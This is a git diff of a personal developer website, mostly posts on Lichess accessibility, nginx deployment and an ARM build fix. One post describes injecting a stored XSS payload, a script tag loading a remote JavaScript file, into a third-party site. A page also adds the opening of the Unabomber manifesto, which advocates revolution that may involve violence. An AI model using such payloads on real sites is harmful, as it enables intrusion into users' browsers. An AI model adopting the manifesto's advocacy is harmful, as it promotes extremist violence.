wouldn’t be.</p> + +<h2 id="cross-site-scripting-xss">Cross-Site Scripting (XSS)</h2> + +<p>As my final act, I decided to use a cross-site script that I could edit and have it load with new changes at any time.</p> + +<p>I set this as my name:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;script src="https://tait.tech/assets/js/hacked.js"&gt;&lt;/script&gt; +</code></pre></div></div> + +<p>This script pops up a warning, telling the user that the site is insecure and it is now redirecting to an article about the attack. +This script redirects to an <a href="https://tait.tech/2020/04/25/xss/">older post I made</a> about how XSS works.</p> + +<h2 id="conclusion">Conclusion</h2> + +<p>Watch out for sketchy websites that may be vulnerable to malicious or insecure sites which are ripe for abuse. +Always check that you are using an encrypted connection, HTTPS. +And if you see any messages warning you that a site is not secure and redirecting you to some random site… +Take their info with a grain of salt.</p> + +<p>Happy Hacking, literally :)</p>Note: I have alerted the administrators of this site multiple times about this vulnerability. One email was sent many years ago, which is more than enough time for responsible disclosure.Lichess Accessibility2021-01-31T00:00:00-07:002021-01-31T00:00:00-07:00/2021/01/31/lichess<p>I wanted to play chess with somebody who used a screen reader, without requiring a screen reader myself; +some sites, like QuintenC’s Playroom have a rather poor visual interface for anyone who would like the play the game visually. +<a href="https://lichess.org">Lichess</a> is an free and open-source website for chess players; +it bridges this gap by having two “modes” on the site: +standard mode and accessibility mode.</p> + +<h2 id="accessibility-mode">Accessibility Mode</h2> + +<p>Accessibility mode is far from perfect on lichess.org. +That said, the idea to separate the sites into different modes was a good call. +It stops the inevitable “this would work well for screen readers but cause visual issues” shenanigans, +or, vice-verse “this looks great but it might be weird with a screen reader”. +This way all the things which affect the visual interface are in one place, +and all things which affect the non-visual user interface (NVUI) are written in another.</p> + +<p>In my quest to play chess with visual and non-visual players with both having optimal experiences, I tried Lichess with my friend from <a href="https://melly.tech/">melly.tech</a>. +She pointed out that the method to interface with the board previously was rather poor. +This is because it required an “enter” at the end of each command and the commands tended to read out a row or column of a chessboard not just an individual square.</p> + +<p>For example, to list all pieces (or lack thereof) on the e file, I would type the command:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s e +</code></pre></div></div> + +<p>Although this seems good in theory, and it’s great when you need an entire file, there was no way to get only one square. +In addition, imagine typing to navigate around the board:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s e1 +s f1 +s e2 +</code></pre></div></div> + +<p>For the inexperienced player, it seems to be more convenient to bind some keys and have the user bounce to various buttons, which they can push to say “I want to move this piece”. +This is what I was told anyway. +So I want to work making a system so you could use the following basic keys:</p> + +<ul> + <li>left/right/up/down arrow: move on the board.</li> + <li>k/q/r/b/n/p: move to next piece represented by its character in chess notation.</li> + <li>shift + k/q/r/b/n/p: move back to the last piece represented by its character in chess notation.</li> + <li>click/enter/space: select piece to move.</li> + <li>click/enter/space again: move piece here.</li> + <li>m: show where I can move with this piece.</li> + <li>shift+m: show where I can capture with this piece.</li> + <li>1-8: move to rank 1-8; stay on same file.</li> + <li>shift + 1-8: move to file a-h; stay on same rank.</li> +</ul> + +<p>This gives a pretty solid basis for playing the game. +One caveat is after you have moved a pawn all the way to the farthest rank, only the destination tile will accept your promotion choice. +Therefore, all the other keys still work on other square, but if you are on the destination square of a promotion q/r/b/n will promote your piece, not jump you to the next/previous one.</p> + +<p>This pull request was merged earlier this month:</p> + +<h2 id="more-to-come">More To Come</h2> + +<p>Next thing I want to do is implement the analysis board. +Right now it is not accessible whatsoever.</p> + +<h2 id="help-me">Help Me</h2> + +<p>If you are a screen reader user or know about accessibility and want to help make Lichess an awesome chess site for sighted and unsighted players alike, +then send me an email at <a href="mailto:tait@tait.tech">tait@tait.tech</a> and I’ll BCC you once I start testing the analysis board.</p> + +<p>Happy hacking, y’all!</p>I wanted to play chess with somebody who used a screen reader, without requiring a screen reader myself; some sites, like QuintenC’s Playroom have a rather poor visual interface for anyone who would like the play the game visually. Lichess is an free and open-source website for chess players; it bridges this gap by having two “modes” on the site: standard mode and accessibility mode.How to Deploy Lichess’s Lila With Nginx2020-12-20T00:00:00-07:002020-12-20T00:00:00-07:00/2020/12/20/deploy-lichess<p>I was getting ready to have a public test of some changes I made to <a href="https://lichess.org">lichess.org</a>’s <a href="https://lichess.org/source">open source chess platform</a>. +In preperation, I got my Let’s Encrypt certificates and nginx configurations setup… +and it wouldn’t work. +Here are some tips for myself and future Lichess developers.</p> + +<h2 id="reasoning">Reasoning</h2> + +<p>My pull request involves accessibility. +It will extend Lichess’s NVUI (Non-Visual User Interface) to be more accessible to beginner level chess players. +At the time of writing this, Lichess’s NVUI only supports searching pieces by type, rank and file. +It does not support any kind of interactive board.</p> + +<p>I wanted to play chess with a friend of mine who uses a screen reader. +Even though Lichess does indeed have a separate rendering of the page for visually impaired users, +I have heard from a few people that it is not the best.</p> + +<p>I don’t use a screen reader myself, so I thought having a public latest changes deployed server would work better for testing. +It would certainly work better than getting some of my less computer literate friends to connect to me via VSCode/VPN and view my local repository.</p> + +<p>So here is how to deploy it:</p> + +<h2 id="setup-a-development-environment">Setup a development environment</h2> + +<p>This is described <a href="https://github.com/ornicar/lila/wiki/Lichess-Development-Onboarding">in Lichess’s documentation itself</a>. +I will not elaborate further as it is not necessary.</p> + +<h2 id="setup-nginx">Setup nginx</h2> + +<p>This is the part that stumps most people. +Getting a local development server usually works alright, but once you want to reverse proxy it for security and professionalism purposes, it get more interesting.</p> + +<p>Here is the relevant portion of my nginx configuration for lila:</p> + +<pre class="file"> +server_name chess.tait.tech; + +location / { + proxy_pass http://127.0.0.1:9663; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-NginX-Proxy true; + proxy_set_header X-Real-IP $remote_addr; +} +</pre> + +<p>This is the config for the lila-ws websocket subdomain:</p> + +<pre class="file"> +server_name ws.chess.tait.tech; + +location / { + proxy_pass http://127.0.0.1:9664; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; +} +</pre> + +<p>You will need to deploy these on two virtual hosts.</p> + +<h2 id="lila">Lila</h2> + +<p><a href="https://github.com/ornicar/lila/">Lila</a> is the name for the main chess server, we need to change a few settings. Here is my git diff for the <code class="language-plaintext highlighter-rouge">conf/base.conf</code> file:</p> + +<pre class="file"> +- domain = "localhost:9663" +- socket.domains = [ "localhost:9664" ] ++ domain = "chess.tait.tech" ++ socket.domains = [ "ws.chess.tait.tech" ] + asset.domain = ${net.domain} +- asset.base_url = "http://"${net.asset.domain} ++ asset.base_url = "https://"${net.asset.domain} + asset.minified = false +- base_url = "http://"${net.domain} ++ base_url = "https://"${net.domain} +</pre> + +<h3 id="lila-ws">Lila-ws</h3> + +<p><a href="https://github.com/ornicar/lila-ws/">Lila-ws</a> is the websocket component of Lila.</p> + +<p>The most common complaint amongst aspiring Lichess developers is websockets not working. +They constantly get these ‘101’ responses from the websocket, +and it also seems that the websocket returns instead of staying in the ‘pending’ state as it should be.</p> + +<p>Here is how to fix that (in diff format):</p> + +<pre class="file"> +-csrf.origin = "http://127.0.0.1:9000" ++csrf.origin = "https://chess.tait.tech" +</pre> + +<p>You need to tell lila-ws where the websocket requests will be coming from. This is how to do that.</p> + +<h2 id="conclusion">Conclusion</h2> + +<p>This is not a long article, but just some notes for future me and Lila developers.</p>I was getting ready to have a public test of some changes I made to lichess.org’s open source chess platform. In preperation, I got my Let’s Encrypt certificates and nginx configurations setup… and it wouldn’t work. Here are some tips for myself and future Lichess developers.Getting Pacaur Working on a Raspberry Pi 4 with Manjaro ARM or Arch Linux2020-12-01T00:00:00-07:002020-12-01T00:00:00-07:00/2020/12/01/pacaur-rpi<p>I recently installed Manjaro ARM (based on Arch Linux ARM) on a Raspberry Pi 4. +I used some standard commands to start to add the <code class="language-plaintext highlighter-rouge">pacaur</code> package so I can easily retrieve <a href="https://wiki.archlinux.org/index.php/Arch_User_Repository">AUR packages</a> without needing to do it manually. +Unfortunately, there is a small problem with compiling this on ARM.</p> + +<h2 id="always_inline">always_inline</h2> + +<p>To setup the install for <code class="language-plaintext highlighter-rouge">pacaur</code>, I first needed to download <a href="https://aur.archlinux.org/packages/auracle-git">auracle-git</a> AUR package manually. +I ran into an error when compiling this package.</p> + +<p>But first, my setup:</p> +<pre class="terminal"> +$ git clone https://aur.archlinux.org/auracle-git +$ cd auracle-git +$ makepkg -sri +</pre> + +<p>Around half way through compiling this project, I got this cryptic message telling me there was a “target specific option mismatch”…Whatever that means. +The full error is below, hopefully that helps my chances on the search engines.</p> + +<pre class="terminal"> +In file included from ../subprojects/abseil-cpp-20200225.2/absl/random/internal/randen_hwaes.cc:225: +/usr/lib/gcc/aarch64-unknown-linux-gnu/9.3.0/include/arm_neon.h: In function 'Vector128 {anonymous}::AesRound(const Vector128&amp;, const Vector128&amp;)': +/usr/lib/gcc/aarch64-unknown-linux-gnu/9.3.0/include/arm_neon.h:12452:1: error: inlining failed in call to always_inline 'uint8x16_t vaesmcq_u8(uint8x16_t)': target specific option mismatch +12452 | vaesmcq_u8 (uint8x16_t data) +</pre> + +<p>Luckily, there is a very easy fix for this. +The user redfish <a href="https://aur.archlinux.org/packages/auracle-git#comment-762117">helpfully pointed out</a> +on the <code class="language-plaintext highlighter-rouge">auracle-git</code> package page that you need to add a special make option to your <code class="language-plaintext highlighter-rouge">/etc/make.conf</code> file to make this work.</p> + +<p>His solution, as commented is like so:</p> + +<blockquote> + <p>If you get this error when building for ARM aarch64:</p> + + <p>(insert error message from before)</p> + + <p>Then check that in /etc/makepkg.conf CFLAGS and CXXFLAGS have the +crypto suffix in -march flag, like -march=armv8-a+crypto (the base identifier may very depending on your hardware)</p> +</blockquote> + +<p>Basically, there is a file on Linux: <code class="language-plaintext highlighter-rouge">/etc/makepkg.conf</code> which tells your computer how to compile <em>all</em> programs on the system. +By default the Manjaro ARM (RPi4) edition has the following relevant lines in <code class="language-plaintext highlighter-rouge">makepkg.conf</code>.</p> + +<pre class="file"> +CFLAGS="-march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt" +CXXFLAGS="-march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt" +</pre> + +<p>What Mr. redfish is telling us is that we must add ‘+crypto’ to the end of the -march compiler flag so that our compiler will know how to inline that pesky vaesmcq_u8 function.</p> + +<p>So in the end, your <code class="language-plaintext highlighter-rouge">makepkg.conf</code>’s relevant lines will look like so:</p> +<pre class="file"> +CFLAGS="-march=armv8-a+crypto -O2 -pipe -fstack-protector-strong -fno-plt" +CXXFLAGS="-march=armv8-a+crypto -O2 -pipe -fstack-protector-strong -fno-plt" +</pre> + +<h2 id="why">Why?</h2> + +<p>Redfish continues:</p> + +<blockquote> + <p>Build of abseil-cpp package works because it uses CMake which adds the correct -march flag regardless of makepkg.conf, whereas when abseil-cpp is build as a subproject within this package, it uses meson, which does not add the flag and thus fails with the above error.</p> +</blockquote> + +<p>In other words, one of the dependencies pulled in with auracle is not compiling without this special compiler flag enabled.</p> + +<h2 id="conclusion">Conclusion</h2> + +<p>Thanks to redfish for posting this solution to the forums! +Would’ve been quite the rabbit hole for me to figure out how to do that. +In fact, it is very likely I would have never figured that one out.</p> + +<p>After this issue is resolved, the installation of <code class="language-plaintext highlighter-rouge">pacaur</code> goes as expected. Nice and easy! +Pacuar will compile on any architecture so it’s smooth sailing from here.</p> + +<p>Happy hacking!</p>I recently installed Manjaro ARM (based on Arch Linux ARM) on a Raspberry Pi 4. I used some standard commands to start to add the pacaur package so I can easily retrieve AUR packages without needing to do it manually. Unfortunately, there is a small problem with compiling this on ARM. \ No newline at end of file diff --git a/ideas/index.html b/ideas/index.html new file mode 100644 index 0000000..f923354 --- /dev/null +++ b/ideas/index.html @@ -0,0 +1,316 @@ + + + + + Ideas | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    + + +

    Table of Contents

    + + + +
    + +

    1. Accessible BIOS

    + +

    Update: +See my blog post with the guy who’s writing the new audio driver into EDK2.

    + +

    Some server motherboards include serial UART/I2C ports which can be used to manage a BIOS via serial. +If this is possible, would it be able to attach to a braille display via an intermediary like a Rockchip/Pi SBC or Arduino compatible chip using BRLTTY and serial input from the motherboard? +Maybe not as it appears to require a full Unicode terminal, which I have the suspicion that BRLTTY will not be able to automatically filter out the formatting characters.

    + +

    I found one paper referencing the (in)accessibility of BIOS, specifically UEFI BIOS from Brazil. +I have downloaded the paper and uploaded it here for reference. +PDF of “UEFI BIOS Accessibility for the Visually Impaired”.

    + +

    After emailing the authors of the paper, I found out that one of them, Rafael Machado, was able to get a song playing in UEFI as a part of his masters. +Here is a link to the Github Msc UEFI PreOS Accessibility; +he has links to YouTube videos where he is shown playing a song on an ASUS laptop with PCIe connected speakers: Song Playing in UEFI

    + +

    I have downloaded and played around with his Github project but to no avail. +Either I am not setting it up correctly, or I do not have the proper sound setup, but in any case no sound plays from either my laptop or desktop.

    + +

    This requires more research and investment to understand UEFI, HDA audio, what systems have it and how to work with words and other sounds.

    + +

    2. Terminal-oriented browser

    + +

    Use selenium to allow a cross-engine compatible terminal-browser with JS support. Yes, sure, it has all the bloat of the modern web as it uses the full code of Chrome/Firefox/Webkit—but at least it can be used in the terminal. +Guaranteed to be accessible.

    + +

    I’m thinking of similar key commands to Orca/NVDA but output is send to the terminal. Unsure of how to handle aria-live regions, but perhaps a queue could be used to print text. Unsure how to calculate delay as the user may be using a screen reader at different speeds and/or a braille display.

    + +

    Change backend on-the-fly with a page reload. So if a website doesn’t work with Webkit, load it in Firefox with a key command.

    + +

    Just an idea.

    + +

    3. Dead Simple Chess App

    + +

    I want to make a simple chess app which can connect to multiple backends +(i.e. Lichess, Chess.com, etc.) and then users can use one app to play many games. +This should be quite simple given how easy the lichess API is, and the chess.com API coming soon!

    + +
    +

    This is read-only data. You cannot send game-moves or other commands to Chess.com from this system. If you wish to send commands, you will be interested in the Interactive API releasing later this year.

    +
    + +

    4. Open-Source VPN Deployment System

    + +

    Help my business and others start their own.

    + +
      +
    • Update active servers with pings from said server. Encrypt with GPG to verify, send over HTTPS. Use sub-keys (?) so they may be revoked anytime. Use token to login server.
    • +
    • Ability to create new tokens with no priviledges; only to say “Hi I’m still here.”
    • +
    • All IP address changes need to be manually approved.
    • +
    • Status queries, must be logged in: POST /status/[id/] should give back info about: +
        +
      • Number of connections.
      • +
      • Level (paid, free, plus when I can find out how to get Netflix working).
      • +
      • Protocol (OpenVPN/Wireguard). Wireguard should be default.
      • +
      • Max throughput (i.e. 1Gb/sec, 100Mb/sec)
      • +
      • Current average throughput over last minute, 15 minutes, hour and day. (i.e. 15Mb/sec 12Mb/sec)
      • +
      +
    • +
    • Decide server: POST /new/[coutnry_code/] should send a response of a possible server to connect to (or even the full Wireguard file possibly)
    • +
    • Get server files: POST /download/[country_code/[number/]] return the wireguard config file for that region, or a zip file containing the group of them.
    • +
    • A client would be able to use a native wireguard client on linux (i.e. store in /etc/wireguard (or its default location).
    • +
    • A client would allow local options like blocking LAN, kill-switch support, and the ability to change your VPN region based on latest list of servers.
    • +
    • The list of servers will be updated manually with bt update.
    • +
    + +

    I love this idea, but unfortunately, Canada has data retention laws that would stop me from protecting the privacy of anyone using a system delivered by me. +Unless I incorporate in Switzerland or the Seychelles, this is not a viable option. +Doing the above costs a fair amount in up-front investment that I am not willing to make at this point in time.

    + +

    5. 3d printing of Google Maps/OpenStreetMaps data for the visually impaired.

    + +

    A larger project, to be sure, but one I think could be of interest. +Imagine being able to download some data from Google or OpenStrretMaps, +then put it into a program and have it generate a 3d map which can be printed. +Unsure what to do, as the braille overlay on top of the streets and important buildings, etc. needs to be of a uniform size (braille cannot be scaled) but the buildings, streets, and parks do need to be scaled in size.

    + +

    I think for beginning, forget the braille entirely and simply product a map. +This can be done in the STL file format or some intermediary if that is easier. +Roads will have a slight border on the side, +parks will have a diamond texture, +buildings will have slight rectangular borders (slightly wider than the roads), +paths will be a thin line, and the label for the path will need to extend the thin line into a (rounded) rectangle with text on it.

    + +

    Start with roads. +Get a road, get it to generate the correct shape. +Then add a border around the side. +Then, add 4 more roads and figure out how to intersect them.

    + +

    If it can be done on a display, it can be done in a file.

    + +

    Start with that. Wow what a daunting project!

    + +

    This is being worked on through the touch-mapper project. +They do not, however, have labels yet.

    + +

    6. 3D Printed Binary Trees

    + +

    A simple hub/connection system to connect nodes of a binary tree together to have a physical object for visually impaired computer science students to use for initial introduction into the subject of (binary) trees.

    + +

    6.5 Javascript Binary Trees

    + +

    Have a simple module for loading in an SVG of a tree, along with Javascript to make the diagram accessible by jumping left/right with the arrow keys and up to a parent with the up arrow.

    + +

    7. Lego/Pi-Powered Logic Gates

    + +

    Lego or 3d printed logic gates with physical switches for in and out. +Again, sore of as an introductory tool for blind students learning computer science.

    + +

    8. More Tutorials/Materials

    + +

    Perhaps a broader selection of materials for computer science students with proper transcriptions for everything in this list:

    + +
      +
    • UML diagrams
    • +
    • UML sequence diagrams
    • +
    • Gantt charts
    • +
    • Advanced math equations
    • +
    • Stacks, Queues and Linked Lists
    • +
    • Memory layout tables
    • +
    • Logic gate diagrams
    • +
    • Decision charts; I think I could add some macros on top of
    • +
    • Timing diagrams (i.e., watching the state of various inputs and outputs over time [usually in relation to a clock cycle]); my current idea for this is a dynamic audiogram where you can listen to the clock + any other tracks at the same time to “see” the diagram
    • +
    • Circuit diagrams (not 100% relevant, but I have seen it in CS courses)
    • +
    • Database tables as HTML tables
    • +
    • Properly transcribed security content like buffer-overflows, underflows and similar things
    • +
    + +

    Although developing these is good, I think it is worthwhile to also create tools that make creation of these easier for both sighted and blind individuals. +This will make it easier for course transcribers who are not tech-savy and will enable the blind student to create the diagrams and send them back to their teachers. +Preferably have a “plain text” version which can be rendered as an SVG for use by visual learners, then make sure the SVG can be accessible with a Javascript hook. +This would (in theory) make it possible for a teacher to create the graphic in the specialized tool for that kind of chart, put it in their slides/course info/textbook/whatever and have the student able to extract the SVG and paste it somewhere where a script could make it readable. +Yes, the best case is the teacher cooperates 100%, but considering that is never the case, I figure making it easier to convert between the two is the best I can hope for.

    + +

    Some other things I would like to do, if I could find the time:

    + +
      +
    • How to get started with Linux.
    • +
    • Text-based tutorials from start-to-finish with various frameworks: SpringBoot (Java), Django/Flask (Python), JavaEE.
    • +
    • Specific programming language instruction in all the basics: C/C++, Bash, Python, Javascript, HTML, Java. Perhaps in the future branch into Rust, Golang, Zig or Haskell.
    • +
    • Custom-made braille manuals for a set of affordable computer parts which can be purchased to assemble a computer from scratch, without sighted assistance (see current status of accessible BIOSes).
    • +
    + +

    This would all be licensed as CC-BY-NC-SA. +I may drop the NC. As long as I have specified SA, then anyone (even for-profit companies) can use it as long as any changes are shared to the public as well.

    + +

    9. Self-Voicing Modal Editor (like vim, but accessible)

    + +

    Some pieces of conversation about it:

    + +
    +

    “Vim itself is fine, almost any plugin that puts things on the screen isn’t though because all Orca sees is a 2d grid of characters. That’s why I want to build my own modal editor, with a screen reader plugin. I’d build one for vim but I really can’t be bothered to figure out all of its quirks, and viml. I know I can write most of it in Python, but still, it wasn’t designed to allow speech to read the stuff plugins throw on the screen, so it wouldn’t work as well anyway.”

    +
    + +
    +

    “Vim, which I intend to take inspiration from when it comes to modes and key bindings, doesn’t really fit with the standard key bindings for moving around a graphical app, and it’s hard, sometimes impossible, to replace all the OS standard behaviour in graphical apps, especially while keeping it accessible. Plus, what if you want to run this on a Raspberry Pi, with no desktop environment? What if you want to include it on an accessible Arch Linux install CD, with no Xorg or Wayland?”

    +
    + +
    +

    “Not just that, earcons for acknowledgement of your actions. If a : command is successful, play a small sound. If it fails, play an error sound and read the error. If your cursor smacks into a line boundary, perhaps play a sound. It all depends on the user settings of course.”

    +
    + +

    All of these are from TheFakeVIP.

    + +

    10. New Business Idea

    + +

    Given the current lack of accessible content at universities (see #8, I think), +what if I created a business around supplying accessible diagrams to the students. +I would have multiple services, and would price them differently depending on my involvement.

    + +
      +
    1. Tool Access +
        +
      • The university already has somebody with some programming experience doing the transcriptions.
      • +
      • The transcriber needs some tools to make his job easier.
      • +
      • Python scripts to create binary trees, stacks and queues, concurrent blocks, clock timing diagrams etc.
      • +
      • Cheapest option as this requires very little from me other than hosting online access to the tools.
      • +
      +
        +
      • Note that although all the source code would be open source, unless the transcriber is actually a software developer by trade (which is very unlikely) they will need access to some kind of web interface to these tools, and they will not be ready to set it up themselves.
      • +
      +
    2. +
    3. Consultation +
        +
      • This is what I think works best for most universities.
      • +
      • A standard run-of-the-mill transcriber will transcribe all plain-text portions of the documents.
      • +
      • I (we, the company) transcribe all diagrams using our ever-expanding arsenal of tools.
      • +
      • Flat rate per course per month, over time with more tool development this will work in our favour; at the start it might not quite be worth it, however.
      • +
      +
    4. +
    5. Full Transcription +
        +
      • I (we, the company) transcribe the entire set of documents, slides, assignments, reference material, etc. (Although no textbooks… Unless the teacher created the textbook themselves, it would be very hard to get copyright on it… see more on this in next section.)
      • +
      • Most expensive option
      • +
      • Allows further development of the web tools for our own good.
      • +
      • Opens some position for semi-skilled collage/uni students.
      • +
      +
    6. +
    + + + +

    So here’s my plan for sticking to “free culture” licensing while still maintaining profit:

    + +
      +
    1. License all code under the GPLv3
    2. +
    3. License all transcribed documents under CC-BY-SA-NC, and add transcribed files to a directory of information available to anyone. +
        +
      • (CC) You may change and redistribute our content.
      • +
      • (BY) You must credit the company.
      • +
      • (SA) You must keep the same license.
      • +
      • (NC) You may not make money selling the documents.
      • +
      +
    4. +
    5. If a school is willing to make the transcribed version of their courses available to the public, then I will offer a pretty substantial discount, probably in the range of 25-ish percent.
    6. +
    + +

    I think it would be a great deal better for schools like SAIT, or AUArts, or VCC (smaller schools) to just contract out the hard stuff like this. +Given my experience with a larger school (SFU), it makes me think even large schools could use help with it.

    + +

    10.5 Tactile Diagram Creation Tool

    + +

    For the case of a diagram like a clock timing diagram, +which is basically impossible to just “write” in any exact way, +make a tool which can do the following:

    + +
      +
    1. Take an image upload (a screenshot from a slide deck, preferably.
    2. +
    3. Grayscale the image.
    4. +
    5. Find text by OCR and offer to automatically delete it and replace it with braille. +
        +
      • Allow repositioning via an advanced feature set; automatically draw a line to where the OCRed text originally was.
      • +
      • This should be relatively straightforward, even with a complex diagram, you can always move the braille outside where the text is.
      • +
      +
    6. +
    7. Save image, print, run through special printer to make black “pop” off the page.
    8. +
    9. Send to student (by courier if local) and the fastest possible shipping by Canada Post/DHL/UPS otherwise. This is expensive, but necessary on tight deadlines. +
        +
      • The other option is to have a friend in various cities around Canada have a special printer and special paper that they can print on demand for me. More money, again, but also might be worth it depending of if I know I will have a consistent base of clients in a given area.
      • +
      +
    10. +
    + +

    This seems like something that, if it does exist, is probably proprietary and costs the same as my services would as a whole.

    + + +
    +
    + +
    + + diff --git a/index.html b/index.html new file mode 100644 index 0000000..6e46184 --- /dev/null +++ b/index.html @@ -0,0 +1,118 @@ + + + + + Home | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Tait Hoyem

    + +

    I have three goals in my software development career:

    + +
      +
    1. Strong adherence to the UNIX principles of software design.
    2. +
    3. Security, privacy, and anonymity of the internet.
    4. +
    5. Accessibility of technology to the visually impaired.
    6. +
    + +

    Some of my projects reflect these goals; +others are just fun along the way. +I have all of my code projects hosted on my Github.

    + +

    Projects

    +

    Here is some of my best work:

    +
      + +
    • +

      + Odilia Screen Reader — Significant contributor to a new screen reader for Linux, written in the Rust programming language. +

      +
    • + +
    • +

      + Programming Tutorials For The Visually Impaired — Amateur-level production quality videos with all file buffers, written text, and shell commands read out by Emacspeak, an Emacs extention for the blind. +

      +
    • + +
    • +

      + Simple Markdown Editor — A simple online (and offline) browser-based markdown editor that supports the automatic creation of accessible math (MathML). +

      +
    • + +
    • +

      + Lichess — A patch for Lichess.org which vastly extends support for screen reader users. The website has millions of active players. +

      +
    • + +
    • +

      + Quote Retrieval System — Written for a local roofing business to securely distribute quotes. +

      +
    • + +
    • +

      + epub-with-pinyin — A program to add Pinyin above Chinese characters in .epub files to assist those learning Mandarin Chinese. +

      +
    • + +
    • +

      + lamegames — A little games website I made for some demonstrations of Django and websocket functionality. Very, very lame. Would not recommend. +

      +
    • + +
    • +

      + chess — A command-line chess game in C++. It is compileable on nearly any system. +

      +
    • + +
    + +

    I also occasionally put some content on my blog

    + +

    Contact

    +
    +

    You can reach me via email at tait@tait.tech.

    +
    +

    If you use PGP, download my public key.

    + + +
    +
    + +
    + + diff --git a/isaif/index.html b/isaif/index.html new file mode 100644 index 0000000..d9bb727 --- /dev/null +++ b/isaif/index.html @@ -0,0 +1,2435 @@ + + + + + The Unabomber Manifesto: Industrial Society and its Future | tait.tech + + + + +
    +
    +
    +

    The Unabomber Manifesto: Industrial Society and its Future

    +
    + by Theodore John Kaczynski +
    +
    +
    +

    Table Of Contents

    + +
      +
    1. Table Of Contents
    2. +
    3. Introduction
    4. +
    5. The Psychology of Modern Leftism
    6. +
    7. Feelings of Inferiority
    8. +
    9. Oversocialization
    10. +
    11. The Power Process
    12. +
    13. Surrogate Activities
    14. +
    15. Autonomy
    16. +
    17. Sources of Social Problems
    18. +
    19. Disruption of the Power Process in Modern Society
    20. +
    21. How Some People Adjust
    22. +
    23. The Motives of Scientists
    24. +
    25. The Nature of Freedom
    26. +
    27. Some Principles of History
    28. +
    29. Industrial-Technological Society Cannot Be Reformed
    30. +
    31. Restriction of Freedom is Unavoidable in Industrial Society
    32. +
    33. The ‘Bad’ Parts of Technology Cannot Be Separated from the ‘Good’ Parts
    34. +
    35. Technology is a More Powerful Social Force than the Aspiration for Freedom
    36. +
    37. Simpler Social Problems Have Proved Intractable
    38. +
    39. Revolution is Easier than Reform
    40. +
    41. Control of Human Behavior
    42. +
    43. Human Race at a Crossroads
    44. +
    45. Human Suffering
    46. +
    47. The Future
    48. +
    49. Strategy
    50. +
    51. Two Kinds of Technology
    52. +
    53. The Danger of Leftism
    54. +
    55. Final Note
    56. +
    57. Notes
    58. +
    59. My Footnotes
    60. +
    + +

    Introduction

    + +

    1. The Industrial Revolution and its consequences have been a disaster for the human race. They have greatly increased the +life-expectancy of those of us who live in “advanced” countries, but they have destabilized society, have made life unfulfilling, +have subjected human beings to indignities, have led to widespread psychological suffering (in the Third World to physical +suffering as well) and have inflicted severe damage on the natural world. The continued development of technology will +worsen the situation. It will certainly subject human being to greater indignities and inflict greater damage on the natural world, +it will probably lead to greater social disruption and psychological suffering, and it may lead to increased physical suffering +even in “advanced” countries. +

    + +

    2. The industrial-technological system may survive or it may break down. If it survives, it MAY eventually achieve a low level +of physical and psychological suffering, but only after passing through a long and very painful period of adjustment and only at +the cost of permanently reducing human beings and many other living organisms to engineered products and mere cogs in the +social machine. Furthermore, if the system survives, the consequences will be inevitable: There is no way of reforming or +modifying the system so as to prevent it from depriving people of dignity and autonomy. +

    + +

    3. If the system breaks down the consequences will still be very painful. But the bigger the system grows the more disastrous +the results of its breakdown will be, so if it is to break down it had best break down sooner rather than later. +

    + +

    4. We therefore advocate a revolution against the industrial system. This revolution may or may not make use of violence; it +may be sudden or it may be a relatively gradual process spanning a few decades. We can’t predict any of that. But we do +outline in a very general way the measures that those who hate the industrial system should take in order to prepare the way for +a revolution against that form of society. This is not to be a POLITICAL revolution. Its object will be to overthrow not +governments but the economic and technological basis of the present society. +

    + +

    5. In this article we give attention to only some of the negative developments that have grown out of the industrial-technological system. Other such developments we mention only briefly or ignore altogether. This does not mean that we +regard these other developments as unimportant. For practical reasons we have to confine our discussion to areas that have +received insufficient public attention or in which we have something new to say. For example, since there are well-developed +environmental and wilderness movements, we have written very little about environmental degradation or the destruction of +wild nature, even though we consider these to be highly important. +

    + +

    The Psychology of Modern Leftism

    + +

    6. Almost everyone will agree that we live in a deeply troubled society. One of the most widespread manifestations of the +craziness of our world is leftism, so a discussion of the psychology of leftism can serve as an introduction to the discussion of +the problems of modern society in general. +

    + +

    7. But what is leftism? During the first half of the 20th century leftism could have been practically identified with socialism. +Today the movement is fragmented and it is not clear who can properly be called a leftist. When we speak of leftists in this +article we have in mind mainly socialists, collectivists, “politically correct” types, feminists, gay and disability activists, animal +rights activists and the like. But not everyone who is associated with one of these movements is a leftist. What we are trying to +get at in discussing leftism is not so much movement or an ideology as a psychological type, or rather a collection of related +types. Thus, what we mean by “leftism” will emerge more clearly in the course of our discussion of leftist psychology. +(Also, see paragraphs 227-230.) +

    + +

    8. Even so, our conception of leftism will remain a good deal less clear than we would wish, but there doesn’t seem to be any +remedy for this. All we are trying to do here is indicate in a rough and approximate way the two psychological tendencies that +we believe are the main driving force of modern leftism. We by no means claim to be telling the WHOLE truth about leftist +psychology. Also, our discussion is meant to apply to modern leftism only. We leave open the question of the extent to which +our discussion could be applied to the leftists of the 19th and early 20th centuries. +

    + +

    9. The two psychological tendencies that underlie modern leftism we call “feelings of inferiority” and “oversocialization.” +Feelings of inferiority are characteristic of modern leftism as a whole, while oversocialization is characteristic only of a certain +segment of modern leftism; but this segment is highly influential. +

    + +

    Feelings of Inferiority

    + +

    10. By “feelings of inferiority” we mean not only inferiority feelings in the strict sense but a whole spectrum of related traits; +low self-esteem, feelings of powerlessness, depressive tendencies, defeatism, guilt, self-hatred, etc. We argue that modern +leftists tend to have some such feelings (possibly more or less repressed) and that these feelings are decisive in determining the +direction of modern leftism. +

    + +

